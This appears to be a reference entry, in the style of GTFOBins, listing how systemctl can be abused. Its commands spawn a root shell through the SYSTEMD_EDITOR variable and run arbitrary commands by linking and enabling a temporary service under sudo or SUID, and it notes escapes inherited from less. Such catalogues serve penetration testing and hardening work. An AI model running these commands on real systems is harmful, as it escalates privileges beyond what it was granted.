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Shell

This executable can spawn an interactive system shell.

Comment

It might happen that the service is not started with --now, in such cases it might be necessary to manually start it.

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

echo '[Service]
Type=oneshot
ExecStart=/path/to/command
[Install]
WantedBy=multi-user.target' >/path/to/temp-file.service
systemctl link /path/to/temp-file.service
systemctl enable --now /path/to/temp-file.service

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

echo '[Service]
Type=oneshot
ExecStart=/path/to/command
[Install]
WantedBy=multi-user.target' >/path/to/temp-file.service
systemctl link /path/to/temp-file.service
systemctl enable --now /path/to/temp-file.service

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

echo /bin/sh >/path/to/temp-file
chmod +x /path/to/temp-file
SYSTEMD_EDITOR=/path/to/temp-file systemctl edit basic.target

Inherit

This executable can inherit functions from another.

Unprivileged

This function can be performed by any unprivileged user.

systemctl

Sudo

This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

Remarks

If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

systemctl

SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

systemctl

Functions

Inherits from less, thus possibly granting the following functions: